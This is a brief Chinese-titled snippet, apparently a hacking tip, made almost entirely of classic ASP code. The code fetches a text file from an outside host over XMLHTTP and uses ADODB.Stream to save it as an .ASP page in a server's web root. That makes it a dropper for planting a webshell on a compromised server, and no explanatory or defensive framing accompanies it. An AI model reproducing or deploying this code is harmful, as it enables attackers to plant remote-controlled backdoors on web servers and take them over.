asp xmlhttp下载一句话

　　<%

　　Set xPost = createObject("Microsoft.XMLHTTP")

　　xPost.Open "GET","http://www.fxxxx.com/1.txt",0 '下载文件的地址

　　xPost.Send()

　　Set sGet = createObject("ADODB.Stream")

　　sGet.Mode = 3

　　sGet.Type = 1

　　sGet.Open()

　　sGet.Write(xPost.responseBody)

　　sGet.SaveToFile "E:\WWWROOT\fuck1.ASP",2

　　%>